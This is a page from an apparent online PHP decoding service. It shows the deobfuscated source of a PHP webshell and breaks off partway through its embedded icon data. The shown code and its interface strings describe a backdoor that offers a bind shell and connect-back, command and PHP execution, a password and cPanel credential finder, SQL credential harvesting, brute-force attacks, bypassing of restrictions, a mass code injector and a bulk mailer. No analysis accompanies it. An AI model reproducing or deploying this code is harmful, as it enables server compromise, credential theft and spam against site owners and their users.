Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto slWSx; sFpBd: function z4r($v) { if ($v == '') { return "\156\157\40\x76\141\..
Decoded Output download
<?php
goto slWSx; sFpBd: function z4r($v) { if ($v == '') { return "no value"; } if (@is_bool($v)) { return $value ? "TRUE" : "FALSE"; } if ($v === null) { return "NULL"; } if (@is_object($v)) { $v = (array) $v; } if (@is_array($v)) { @ob_start(); print_r($v); $v = @ob_get_contents(); @ob_end_clean(); } return (string) $v; } goto BxcAO; zWHNT: function z4k($n, $c = '', $s = '') { return z4c("left", $n, $c, $s); } goto ORtPB; dDVXT: function z0r($t) { return z5c(array("act" => "ftp", "flsort", "ffsort", "d", "rt" => $t), z4a("ft", array("download" => z9s("198"), "delete" => z9s("199")), "3") . z8v("»", "6")); } goto JGVDO; cQURc: function z9i($i) { foreach (array("a" => "4", "e" => "3", "o" => "0", "s" => "5", "l" => "1", "t" => "7") as $k => $v) { $i = @str_replace(array($k, @strtoupper($k)), $v, $i); } return $i; } goto XVFbW; RnUJw: function z2f($u) { $r = ''; if (!@strstr($u, "://")) { return $r; } $s = @substr($u, 0, @strpos($u, "://") + 3); $uh = @substr($u, @strlen($s)); $e = @explode("/", $uh); $h = $e[0]; $p = @substr($uh, @strlen($h)); $fp = @fsockopen($h, 80, $errno, $errstr, 30); @fputs($fp, "GET {$p} HTTP/1.1\xd
"); @fputs($fp, "Host: {$h}
"); @fputs($fp, "User-Agent: " . z7x("2", "downloada") . "
"); @fputs($fp, "Connection: close
\xd\xa"); while (!@feof($fp) && ($debug = @fgets($fp)) != "
") { } while (!@feof($fp)) { $r .= @fgets($fp, 1024); } @fclose($fp); return $r; } goto Y7GQE; AEvWB: function z3r($s) { if (!@preg_match("/[A-Z]/i", $s)) { return $s; } $s = @strtolower($s); for ($i = 0; $i < @strlen($s); $i++) { if (@preg_match("/[a-z]/", $s[$i])) { $s[$i] = @strtoupper($s[$i]); return $s; } } return $s; } goto ePRir; Llr2C: function z9w($i) { global $color_skin; $a = z7x("5", $color_skin); return @isset($a[$i]) ? $a[$i] : ''; } goto jyJ6v; cvY6y: function z3e($a = array()) { if (@isset($a["backf"])) { return z2s($a); } $r = ''; foreach ($a as $k => $v) { $r .= (@is_numeric($k) ? $v . "=" . @urlencode(z8g($v)) : $k . "=" . @urlencode(z8g($k, $v))) . "&"; } if ($r != '') { $r = z9b("merged", @base64_encode($r)); } return $r; } goto ycJ39; pGxqN: function z0t($t) { return z5c(array("act" => "ftp", "flsort", "ffsort", "d", "lt" => $t), z4a("ft", array("upload" => z9s("197"), "delete" => z9s("199")), "3") . z8v("»", "6")); } goto dDVXT; lv7_L: if ($boracle) { $a_sql[] = "Oracle"; } goto hBkAD; yeVKG: $filealiases = array("html" => array("html", "htm", "shtml"), "text" => array("html", "htm", "shtml", "css", "js", "txt", "conf", "bat", "bak", "doc", "log", "sfc", "cfg", "readme", "todo", "changelog", "makefile", "cmake", "copying", "authors", "motd", "news", "install", "about", "htaccess"), "exe" => array("sh", "bat", "cmd", "exe", "pl", "py"), "ini" => array("ini", "inf"), "code" => array("php", "phtml", "php3", "php4", "php5", "pl", "cgi", "c", "cc", "cpp", "h", "hpp", "icl", "ipp"), "img" => array("gif", "png", "jpeg", "jfif", "jpg", "jpe", "bmp", "ico", "tif", "tiff"), "sdb" => array("sdb"), "sess" => array("sess"), "download" => array("sql", "3g2", "3ga", "3gp", "3gpp", "669", "7z", "aac", "ac3", "ace", "aif", "aifc", "aiff", "amr", "ape", "arj", "asf", "asx", "au", "avi", "awb", "axa", "axv", "bdm", "bdmv", "bz", "bz2", "cab", "clpi", "com", "cpi", "doc", "dot", "divx", "dmg", "dv", "exe", "fla", "flac", "flc", "fli", "flv", "gsm", "gz", "iso", "it", "kar", "lha", "lnk", "lzh", "m15", "m2t", "m2ts", "m3u", "m3u8", "m4a", "m4b", "m4v", "med", "mid", "midi", "minipsf", "mka", "mkv", "mng", "mo3", "mod", "moov", "mov", "movie", "mp+", "mp2", "mp3", "mp4", "mpc", "mpe", "mpeg", "mpg", "mpga", "mpl", "mpls", "mpp", "mtm", "mts", "nrg", "nsv", "oga", "ogg", "ogm", "ogv", "pbk", "pif", "pla", "pls", "psf", "psflib", "psid", "qt", "qtvr", "r00", "ra", "rar", "rax", "rv", "rvx", "s3m", "sid", "snd", "spx", "src", "stm", "swf", "tar", "tbz", "tbz2", "tgz", "ts", "tta", "ult", "uni", "uu", "uuf", "viv", "vivo", "vlc", "vob", "voc", "wav", "wax", "wma", "wmv", "wmx", "wri", "wv", "xla", "xlc", "xld", "xlsb", "xll", "xlm", "xls", "xlt", "xlsm", "xlw", "xltm", "wvc", "wvp", "wvx", "xi", "xm", "xmf", "xxe", "zip")); goto Bxuwi; N1cV2: function z6t($i, $n, $c = '', $s = '') { return z4z($n, $c, $s) . $i . z7g(); } goto JElT1; b0Psl: if (!@isset($d) || @empty($d)) { $d = @realpath(@dirname(__FILE__)); } elseif (@realpath($d)) { $d = @realpath($d); } elseif (@isset($dold) && @realpath(z1a($dold) . $d)) { $d = @realpath(z1a($dold) . $d); } goto rfd47; TVkpg: $lang["en"] = array("0" => "AUTHENTICATION REQUIRED", "1" => "USER", "2" => "PASS", "3" => "Connect", "4" => "SERVER WHOIS", "5" => "TRACEROUTE", "6" => "SELF REMOVE", "7" => "LOGOUT", "8" => "SYS", "9" => "KERNEL", "10" => "DISK TOTAL/FREE", "11" => "WEB SOFTWARE", "12" => "SAFE MODE", "13" => "OPEN BASEDIR", "14" => "CURL", "15" => "MYSQL", "16" => "MSSQL", "17" => "ORACLE", "18" => "POSTGRESQL", "19" => "ON", "20" => "OFF", "21" => "YES", "22" => "NO", "23" => "BACK", "24" => "FILES", "25" => "SEARCH", "26" => "UPLOAD", "27" => "CMD", "28" => "EVAL", "29" => "SQL", "30" => "MAILERS", "31" => "CALC", "32" => "TOOLS", "33" => "PROC", "34" => "SYSINFO", "35" => "FILE", "36" => "DIR", "37" => "Show All", "38" => "Dirs", "39" => "Files", "40" => "Archives", "41" => "Exes", "42" => "PHP", "43" => "Html", "44" => "Text", "45" => "Images", "46" => "Other", "47" => "Show Icons", "48" => "Hide Icons", "49" => "Enable Buffer", "50" => "Disable Buffer", "51" => "Empty Buffer", "52" => "Show Buffer", "53" => "Hide Buffer", "54" => "Paste Copy", "55" => "Paste Cut", "56" => "Paste All", "57" => "Name", "58" => "Size", "59" => "Modified", "60" => "Owner/Group", "61" => "Perms", "62" => "Action", "63" => "Select All", "64" => "None", "65" => "Inverse", "66" => "With Selected", "67" => "Copy", "68" => "Cut", "69" => "Unset Copy", "70" => "Unset Cut", "71" => "Unset All", "72" => "Delete", "73" => "Rename", "74" => "Functions", "75" => "Edit", "76" => "Download", "77" => "Confirm", "78" => "VIEWING FILE:", "79" => "Text", "80" => "Code", "81" => "Html", "82" => "Html-NoJS", "83" => "Execute", "84" => "Session", "85" => "Sdb", "86" => "INI", "87" => "Image", "88" => "Hexdump", "89" => "Browser Default", "90" => "STRING CONVERSIONS", "91" => "FUNCTION", "92" => "Submit", "93" => "CHANGE FILE'S PERMISSIONS:", "94" => "Owner", "95" => "Group", "96" => "World", "97" => "Read", "98" => "Write", "99" => "Execute", "100" => "Chmod", "101" => "OR ENTER VALUE", "102" => "OUTPUT", "103" => "CHANGE FILE'S TIMESTAMP", "104" => "COPY FROM FILE/DIR", "105" => "SET TIME MANUALLY", "106" => "Month", "107" => "Day", "108" => "Year", "109" => "Hour", "110" => "Min", "111" => "Sec", "112" => "Change", "113" => "Timestamp changed to [%1%]", "114" => "Failed to change timestamp", "115" => "REPLACE", "116" => "WITH", "117" => "Replace", "118" => "Reset", "119" => "Save", "120" => "PROGRAM LINE", "121" => "Full Hexdump", "122" => "Hexdump Preview", "123" => "CHANGE DIR'S PERMISSIONS:", "124" => "CHANGE DIR'S TIMESTAMP:", "125" => "BYPASS RESTRICTIONS - LIST DIR", "126" => "DIR TO LIST", "127" => "List Dir", "128" => "BYPASS RESTRICTIONS - READ FILE", "129" => "FILE TO READ", "130" => "Read File", "131" => "BYPASS RESTRICTIONS - READ FILE VIA SQL", "132" => "USERNAME", "133" => "PASSWORD", "134" => "PORT", "135" => "DATABASE", "136" => "[-] ERROR! Can't select database", "137" => "[-] ERROR! Can't connect to [%1%] server", "138" => "BYPASS RESTRICTIONS - WRITE FILE", "139" => "FILE TO WRITE", "140" => "FILE CONTENT", "141" => "Write File", "142" => "SEARCH FOR FILES AND DIRS USING PHP", "143" => "NAME/FIND/RECURSIVE", "144" => "Files", "145" => "Dirs", "146" => "Both", "147" => "Search", "148" => "use regexp on name", "149" => "SEARCH IN DIR", "150" => "FIND TEXT IN FILE", "151" => "use regexp on text", "152" => "whole words only", "153" => "case sensitive", "154" => "files not containing the text", "155" => "SEARCH TEXT IN FILES USING FIND", "156" => "TEXT TO FIND", "157" => "FIND IN FILES", "158" => "DEFINED/SEARCH IN", "159" => "show in file manager", "160" => "NOTHING FOUND", "161" => "UPLOAD LOCAL FILE", "162" => "LOCAL FILE", "163" => "OPTIONAL RENAME", "164" => "UPLOAD PATH", "165" => "FILE LOCATION", "166" => "MULTIPLE FILES", "167" => "UPLOAD FILE FROM REMOTE URL", "168" => "UPLOAD MULTIPLE FILES", "169" => "Form", "170" => "Upload", "171" => "Invalid file location: [%1%]", "172" => "Error uploading [%1%] (Can't move [%2%] to [%3%]", "173" => "File [%1%] uploaded to [%2%]", "174" => "Can't download file!", "175" => "Can't write to [%1%]", "176" => "File uploaded to [%1%]", "177" => "SEND FILE TO E-MAIL", "178" => "SEND TO", "179" => "Send", "180" => "COMMAND", "181" => "DEFINED", "182" => "EXECUTE PHP CODE", "183" => "Execute PHP Code", "184" => "Display Result in Textarea", "185" => "FTP MANAGER", "186" => "HOST:PORT", "187" => "USER", "188" => "PASS", "189" => "Connect", "190" => "Passive", "191" => "Can't connect", "192" => "PHP-SHELL", "193" => "FTP", "194" => "NEW DIR", "195" => "Create", "196" => "Disconnect", "197" => "Upload", "198" => "Download", "199" => "Delete", "200" => "DOWNLOAD FILE FROM REMOTE FTP", "201" => "UPLOAD FILE TO REMOTE FTP", "202" => "HOST:PORT", "203" => "USER:PASS", "204" => "FILE ON FTP", "205" => "LOCAL FILE", "206" => "Upload File", "207" => "Download File", "208" => "File uploaded.", "209" => "Can't upload file.", "210" => "File downloaded.", "211" => "Can't download file.", "212" => "PHP SIMPLE MAILER", "213" => "PHP CSV MAILER", "214" => "FROM NAME", "215" => "FROM E-MAIL", "216" => "E-MAIL SUBJECT", "217" => "REPLACE", "218" => "WITH", "219" => "IN", "220" => "E-MAIL COL", "221" => "COL PREFIX", "222" => "REPLACE IN", "223" => "Select Value", "224" => "From Name", "225" => "From E-mail", "226" => "Receiver's E-mail", "227" => "Receiver's E-mail - hash", "228" => "Subject", "229" => "Message", "230" => "Subject and Message", "231" => "Random "FROM E-MAIL" usernames", "232" => "Random Message-ID domains", "233" => "Send E-mails", "234" => "Preview (Don't send)", "235" => "Show replaced values", "236" => "INCOMPLETE DATA", "237" => "NO", "238" => "RECEIVER", "239" => "SENDER", "240" => "MESSAGE-ID", "241" => "STATUS", "242" => "REPLACING", "243" => "Success", "244" => "Failed", "245" => "Test", "246" => "HASH TYPE", "247" => "ENTER HASH", "248" => "Submit", "249" => "Calculate", "250" => "Clear Input", "251" => "POSSIBLE", "252" => "Link", "253" => "IP ADDRESS ENCODER", "254" => "ENTER IP", "255" => "LONG IP", "256" => "HEX IP", "257" => "OCTAL IP", "258" => "SELECT HASH", "259" => "ENTER INPUT", "260" => "All", "261" => "HASH OUTPUT", "262" => "STRING CONVERSIONS OUTPUT", "263" => "Clear Output", "264" => "Send Output to Input", "265" => "BIND SHELL", "266" => "CONNECT BACK", "267" => "PASS:PORT:SRC", "268" => "Bind", "269" => "Found [%1%] of our backdoor tools in tempdir. Consider deleting tools after using them. ", "270" => "Delete Now", "271" => "Can't write sources!", "272" => "Unknown file!", "273" => "Executed. Can't connect to [%1%]!", "274" => "OK! Connect to [%1%]:[%2%]!", "275" => "Port [%1%] already in use!", "276" => "OK! The script is now connecting to [%1%]:[%2%]", "277" => "PORTSCAN", "278" => "HOST:PORT RANGE", "279" => "Scan", "280" => "VALID RANGE 0-65535", "281" => "PHP-SHELL HUNTER", "282" => "ACTION:RECURSIVE", "283" => "FUNCTION:START PATH", "284" => "View known shells only", "285" => "View known shells + possible", "286" => "Overwrite known shells with RC-Shell", "287" => "Overwrite all with RC-Shell", "288" => "PHP-SHELL RESULTS", "289" => "PORTSCAN RESULT", "290" => "Owned", "291" => "Can't own it", "292" => "FILE NAME", "293" => "SHELL TYPE OR VERSION", "294" => "EXTERNAL LINK", "295" => "FILE ACTIONS / OVERWRITE", "296" => "View in Browser", "297" => "RC-OVERWRITE", "298" => "CPANEL / PASSWORD FINDER", "299" => "HOST:USER:SERVICE", "300" => "FILES:METHOD:RECURSIVE", "301" => "FUNCTION:DEFINED PATH", "302" => "SEND LOG TO", "303" => "Don't login (create passfile)", "304" => "user + DEFINED PATH", "305" => "user + DOCUMENT ROOT", "306" => "/etc/passwd + USER HOMES", "307" => "Find Passwords", "308" => "CPANEL / PASSWORD FINDER RESULTS", "309" => "MASS CODE INJECTOR", "310" => "FILES:POS:RECURSIVE", "311" => "FUNCTION:START IN PATH", "312" => "CODE TO INJECT", "313" => "Inject Files", "314" => "CODE INJECTED IN FILES BELOW", "315" => "FIND SQL CREDENTIALS", "316" => "USER NAME:TYPE", "317" => "PASS NAME:TYPE", "318" => "DB NAME:TYPE", "319" => "HOST NAME:TYPE", "320" => "*SOFTWARE:PASSWORD", "321" => "FILES:WHERE:RECURSIVE", "322" => "FUNCTION:DEFINED PATH", "323" => "Find Credentials", "324" => "MySQL Test", "325" => "DEFINED PATH", "326" => "DOCUMENT ROOT", "327" => "USER HOMES", "328" => "required", "329" => "optional", "330" => "SQL CREDENTIALS", "331" => "HOST", "332" => "USER", "333" => "PASS", "334" => "DATABASE", "335" => "ACTION", "336" => "MySQL Connect", "337" => "BRUTEFORCE / DICTIONARY ATTACK", "338" => "HOST:PORT:SERVICE", "339" => "USERNAME:DATABASE", "340" => "DICTIONARY", "341" => "TEST METHOD", "342" => "ALSO TEST", "343" => "username and dictionary", "344" => "/etc/passwd (user:user)", "345" => "/etc/passwd and dictionary", "346" => "Start Bruteforce", "347" => "[%1%] BRUTEFORCE RESULT", "348" => "SYSTEM PROCESSES", "349" => "SENDING SIGNAL [%1%] TO #[%2%].. ", "350" => "KILLED", "351" => "CAN'T KILL IT", "352" => "Databases", "353" => "Query", "354" => "Extract E-mails", "355" => "Server Status", "356" => "Server Variables", "357" => "Processes", "358" => "Disconnect", "359" => "DATABASES", "360" => "Database Name", "361" => "Size", "362" => "Tables", "363" => "Database Actions", "364" => "DATABASE", "365" => "TABLE", "366" => "DATABASE [%1%]", "367" => "Databases ([%1%])", "368" => "Table Name", "369" => "Table Actions", "370" => "SQL QUERY", "371" => "Submit Query", "372" => "EXTRACT E-MAILS", "373" => "SEARCH TABLES<br>COMMA (,) SEPARATED<br>LEAVE EMPTY FOR ALL", "374" => "FILE NAME", "375" => "SAVE E-MAILS TO FILE", "376" => "DOWNLOAD RESULTS", "377" => "Extract E-mails", "378" => "SERVER STATUS", "379" => "SERVER VARIABLES", "380" => "Name", "381" => "Value", "382" => "PROCESSES", "383" => "ID", "384" => "USER", "385" => "HOST", "386" => "DATABASE", "387" => "COMMAND", "388" => "TIME", "389" => "STATE", "390" => "INFO", "391" => "ACTION", "392" => "KILL", "393" => "PROCESS #[%1%] KILLED", "394" => "QUERY RESULT", "395" => "BROWSING TABLE [%1%] ( [%2%] cols and [%3%] rows )", "396" => "Previous", "397" => "Page", "398" => "Go", "399" => "Next", "400" => "INSERT INTO TABLE [%1%]", "401" => "Field", "402" => "Type", "403" => "Function", "404" => "Value", "405" => "Insert as new row", "406" => "or", "407" => "Save", "408" => "Confirm", "409" => "TOTAL DATABASES [%1%]", "410" => "QUICK SQL TABLE DUMP", "411" => "SQL TYPE", "412" => "HOST:PORT", "413" => "USER:PASS", "414" => "DB.TABLE", "415" => "FILE NAME", "416" => "DOWNLOAD RESULTS", "417" => "SAVE DUMP TO FILE", "418" => "Dump", "419" => "Can't connect to SQL server", "420" => "QUICK SQL QUERY", "421" => "DB", "422" => "Query", "423" => "QUERY #[%1%] : [%2%]", "424" => "NONE", "425" => "Chdir", "426" => "Total: [%1%]", "427" => "Success: [%1%]", "428" => "Failed: [%1%]", "429" => "Used: [%1%]", "430" => "Not Available", "431" => "The following e-mails were not sent", "432" => "HASH CALCULATOR", "433" => "STRING CONVERSIONS", "434" => "HOST:PORT:SRC", "435" => "Connect", "436" => "Find Shells", "437" => "DO YOU REALLY WANT TO DROP DATABASE "[%1%]" ? ", "438" => "DO YOU REALLY WANT TO DROP TABLE "[%1%]" ? ", "439" => "DO YOU REALLY WANT TO EMPTY TABLE "[%1%]" ? ", "440" => "SQL DUMP", "441" => "DATABASE", "442" => "DUMP TABLES<br>COMMA (,) SEPARATED<br>LEAVE EMPTY FOR ALL", "443" => "FILE NAME", "444" => "SAVE DUMP TO FILE", "445" => "DOWNLOAD RESULTS", "446" => "Dump", "447" => "Can't select database", "448" => "Nothing to dump", "449" => "Dumped to [%1%]", "450" => "Can't write to file.", "451" => "SQL MANAGER", "452" => "HOST:PORT", "453" => "USER", "454" => "PASS", "455" => "DB", "456" => "TYPE", "457" => "Connect", "458" => "Can't create dump", "459" => "Dumped", "460" => "SELF REMOVE", "461" => "DO YOU REALLY WANT TO DELETE ME? ", "462" => "GOOD BYE", "463" => "Can't delete [%1%]", "464" => "CAN'T LIST [%1%]", "465" => "Free: [%1%]", "466" => "FILE [%1%] DOESNT EXIST.", "467" => "YOU ARE TRYING TO OPEN A DIRECTORY AS A FILE ([%1%])", "468" => "TARGET ALREADY EXISTS (DIRECTORY [%1%])", "469" => "FILE NOT SPECIFIED", "470" => "Return", "471" => "Your browser doesnt support iframes.", "472" => " (CWD SPECIFIED AS A FILE)", "473" => "RENAME [%1%]", "474" => "RENAMED TO [%1%]", "475" => "CANNOT RENAME [%1%]", "476" => "EXTRACTED ZIP ARCHIVE [%1%]", "477" => "CANNOT EXTRACT [%1%]", "478" => "Extract [%1%]", "479" => "GENERAL INFORMATION", "480" => "PHP INFORMATION", "481" => "OTHER USEFULL STUFF", "482" => "Interesting files", "483" => "Interesting configs", "484" => "Interesting bins", "485" => "Scripting languages", "486" => "PAGE GENERATED IN [%1%] SECONDS", "undefined" => "?"); goto BxBhi; qAZ8j: function z3y(&$a, $k = '') { if (@is_array($a)) { foreach ($a as $k => $v) { z3y($a["{$k}"]); } } else { if ($a == "name" || $a == "tmp_name") { $a = z1i($a); } } } goto Ev8nf; BxcAO: function z6l($i) { return z7r("escapeshellarg") ? @escapeshellarg($i) : $i; } goto zC5QJ; Uac8g: $images = array("ok" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAADoSURBVDiNrZOxboNADIY/08CAunTIQBakSLRbH6Qv0XfrQ/QBmLM1iqIMERnaDqxcJsBdOHQhXJOI/JJ1Z8v32z7boqpMQTDpNTDz2OfA08BmgO8zT1Udkwz4BUoreZ6/qqoMfX0ZAByA0CpJktSXSlgAj45+dAk6ZN1ZAT8A4nThWUQ+Hec94LZoCUhX9huwG2YA8DWWZof1pRJs2jfhrgSVqq6sEobhS13XD1Y3xmziOO597UU8o5yJyDvQExRF8ZGm6ZbTj/XPQRAEx7Zte4IoikYj+QiqpmlKTnfFDKP/V8LVmLyNf9lXY6ltlYsrAAAAAElFTkSuQmCC", "cancel" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAHlSURBVDiNpZPPa9NwGMafLkn3HVkDapMsAxEKbbdBmafSi3eZjkXBH8yTMGGwQ4/7CwaDnXqdB0/dFmWhhQqyywZeJJc5ehiYMZAeSlqt0EUy2qavB1sJkSLSF97Lw/t8+PI8fCNEhHFmYiz3CIACIAFADGjiQFP+BZjZy2X17SlWvjCM9MAoXhhGenuKlfdyWR3ATNAQCWSgGPdyeuPzWUHleVbzfXvl9ZvnAFB+9fLgNsclnV7vWrm7mH/28VMJQCMMSBTnU6bWbi1yEeDK7+Oy07MBIBHlkzFuAj4Bdenm2YvzL48BXIYBYsepr1T1+/luw8kCQLvnAwAkngMACIpqZUofClFVKwP4GQYAgNRxnIf20wf5zrffkOFE46qVfPu+EFXVCoD2qBB959Sya543zRiP4NY8b9o5tWwA/qgWxHrFTB9vrBXlvrcwyQQEV+57C8cba8V6xRy281cLiXeZO6X5WDRzgwkAAO6WbAGA/72ZBYAf112cX3WqT6pf9WGIwRe4S1s7+1o85jImQJzVLHn3sCDvHhbEWc1iTIAWj7lLWzv7ANw/LiIK7lz3yNx015dPqNVcJSKJiCRqNVfd9eWT7pG5SURzQU8YACJKEdGjgXmoSQMtFb4P1/jfM/Zv/AXVzv8RqSjGwgAAAABJRU5ErkJggg==", "small_home" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1wAADdcBQiibeAAAAAd0SU1FB9oIEwwzMaECujcAAAHfSURBVDjLlZI9a1RREIafc+/Zm4vJLnZqKVY2QREXQcEitikC9jYBBcu0KdPmN0hgsRFsBP+AhsAWpkw2RBAhEgORDexm7545Z8Zio+ayUcwLp5l55jAfrzMz7q69ewM8pa73wNL26mLgH3JnH9iDm9exzE2iCr3DE/qj0yEQL6gz4PX26uJL96LTfdTdP/wwf8NPUZpAbbpaDXrHSe/fuvbYRwnra0t3mCsLLqNBFbK3n76u+6ix/X0w5vPxcAqaaeRYMoLqVG5uxhM1tn2KwkklU8CVwpObQQYuzzkN9VWcVEKKgq9EEakPOlvkODVebe4A8OzhbQqXMQypxlWiZKJGSPr7lUVG5mBjcwcrm1jZZGNzh8xBWWQ1VtTIqqhEhaiTtj3Q2drFyiatsqBVFljZpLO1iz8b7RdfRSVTi0RTcu9oOKPzcZdRNFrnrtIqC0Zxkms4I/eOaIpaJBMRJBqSjKLhWV6YR8J4aqkSxiwvzFM0PJJsUiNCllJCkjEYRXpHQ2LSv94+JqV3NGQwikgyUkp4ESE5q7kM4ODbwYUOPM+KCF5jYBz/BPsh8vzJvQs76IdYYzUGvGjqHh3/aF+dnQNg7yD8l5X7wwGiqeuTjFf2v+ytA20upy6w8hMQ/yfbalvVkgAAAABJRU5ErkJggg==", "small_dir" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1wAADdcBQiibeAAAAAd0SU1FB9oIEwwxI2CNqf0AAAEVSURBVDjLpZC9SgNREIXPhkEFU9ippdiLFi4Wgk+QIuBDCJZpU6bdtwg2go3gC9htYepIBLGKQiSBRO/e+bOIjUSEvX7lMOfjzGTujqPe7TWAc/zkDkB70G1F/EH2LfCTvR14I1tODRiOZ5h+fiwAyC85B3A16LYus4t+eVqOxvcHu7SyZQqYr6bNgeFE7Xh/+4yEY9FrH6K5sYY6zENs3Dy8FCQm+eu8wtNkUUvQXCeISU4qjFlg1GUWGCoMCmxgdqQQ2EBsjqiWJGBzUBCDpOURxEDmAvE0g7mAmBksaT9gZpCqgjVNoKrLBpr9o4FJRJV4gkkEsWn5NnnPtzabtcLTxRxsWpJy1Rk9PxYA8poFSgCdLzKTqNoRW0z8AAAAAElFTkSuQmCC", "doc" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGUSURBVDiNjZPBSltBFIb/3AzEC4UgzIAMFCQ3pQsVXSXBl+kzFO2mG+miW58hYHd9CzdJNgpXQdQsNJEkNMGF0KJ3zszpIrlDkns1DgwMh5n/+/9zmMLB8enX9uXw5/3gKQSA30fbcM5h1QqCIBZCHBb2v/z6Z4sfws2PGkGxiJPvu2DmNx8TEfr9Pkaj0YW4e/gTVj9rnF0/wjqGMQZEtNKB1hq9Xm9HsE0wmPyFdVMqM4OZ0Wq1AABKKYzHY/9QKYVqtQpmhrUWgm0CosRfSAUajYavRVG0QE8jEhEE3AvgTEag2+168ryL1AEAGGMgnDXgOYFUJIqiBfL8OXVgrYWAS3IdtNvtBbpSKhOFiKY94ByBer3ua5VKZYG8JGAAm43wnjUVcPkOOp2Or0kpAQCTyQRSSh9lNgWT24NarZYhLkeZOcifQupASunJWmuEYZjtgbMvKBSCVx2k5GU6ESHQG+vP5qkPts+AM17grZ0kCeI4hhDiRuxtffpxFl8dDYfnawDQbDbf9ZlKpdJtuVz+9h/x5jl687x8uQAAAABJRU5ErkJggg==", "pdf" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAKcSURBVDiNdZPPa5RnEMc/77vP7vtmX2NYYjC+sBqkrRBMhB5KURoQCeKh9KZ/gRehhWo8VFAEQT2ICXpI24NRkZJSFIm0J08bKKVpxKwpLe4pCUKaKmv257vv+8zzeNgkGkgG5jTDZ2a+M+PMzMwMa61vGGMG2cbsmxXs3J+4R44hl86QunATN9ddVEqNOIVCodjb2zuQz+dRSm0JiO+MkTr4KcmTSZxwL6nTIywtLbG8vPxCxXE8EIYhWmu01lsCWlOTpDId6D8K+L9Mo7UmDEMWFxcHlIhgjNmue+yrRZIXz5HoR/zxh1jPB2ux1iIiKK011tptAfGvDxFSeFduQ5jflNtsNlFJkmwNsJbkt0c0fxgFV+H2H9qUF0UR5XIZV0Sway2te1x4SuXkMMncLBIn6HoDG7c24o1Gg3K5jNa6PYKJIqT0D/Lv37Qe/4wT7CB7fZxU337qE9+DAXn7FndXD/V6nWq1CtDWoHzhW17HNTKHh8h8cZTs1Vuk8vsAMJVVJGkLXJufI+ofREQ2xhARlP3oAE6rhkQtjOPi7gmx1mKMIV75D1lbUO33afikf5NMnuehmse/RE6cwFhDcv8Oq6e+gsvXsN09sLAAawDn+TM8z8PzPKIowvd9HMdBBUFALpdrV/36LMmRIWrfnWPnT4+QIKCyDpj9i07RGBUA4Ps+WmtcrTWO4+C6LkopOj77nMzhIWTqMf6+PkRABHSjRfXeBFEUkU6nsda+B6zfwrp3nvmGyoP7uN27MCqDGBADlbsTxLUq6XSaJEnaAKXUy2KxSBzHGwCyWejciayuwu5wAxCv/E/94kW01hSLRZRSL1UQBOdLpdKN+fn5jz9UuK4tmbFRGk6K5MNXmZoiK4bc8HCpq6vr/DvKaYMHJvkNngAAAABJRU5ErkJggg==", "iso" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAJySURBVDiNlZNfbtNYGMV/sa//xC52Wid1QkuTUugIlFQCxAaQ2BHsglWwBlbQkUCQGY0UMkikSKRQdZqGNglpGsfX15enhofywHzP5/yOziedQrvdfppl2Ys8z/f4H2cYRkcI8aywv7/faTQarTiOMQzjt8x5njMYDOj3++9FmqatKIpI03Qp+PRPm8HZEC0cTLuIEBblcpnt29tLTRRF9Hq9llBKoZQCIEkWdF6/pGI57NX/wKrEmF4J03T4djah/e4vmq0mrutw5TOyLENrjdaaP/9+RdzwiGsZYtpHJ0cU9DeEdUGtGnDv3h0+dP9d6rMsQ0gp0VrT6X3ks1FESo+qHBEsptDvY17MCddjguIqliiyWgrpfz6k3thCSolQSqG1ZniyYLO4w3Q2YzaXRAuLrfoDCsDR0Vdq5QTPLuH7Nv8dT9B1jVIKcVUh+K5ZZ5WZDjmdSe7v3WI0miCBm5Udzr+8wS7HGNkK8nL6s8IVgEBjxpKK7WJ7VXzvBqPRBIBCwSUZjinkCiN3cebGdYDtmaR5im1bhG6R0eCYzc1NFjLh7fu3CM8mssdY8xzHqV0HlOOI89MRpbUQzy8SlALOh+ecnlyidY2Ba2JyxnrhkNX6k+uASlxmOr4gUwrLtgGN76+wsebCicsk0fSSBabZ4m719i9+ANza3uDk+BRhGZiGYDFPkSrDTRTmVLFSCnj0+PFSvwRIKRFCYAqTja0a47MJ49GQ2cUlaZriCJeHu1U2dioAy/QsyxBCiF6n09ltNptYlgVAuBYQrgXXRnSVLKWk2+0ihOgJ3/efHxwcvOh2u3d/f8zgOM5BGIbPfwAQSmassQoGQAAAAABJRU5ErkJggg==", "swf" => 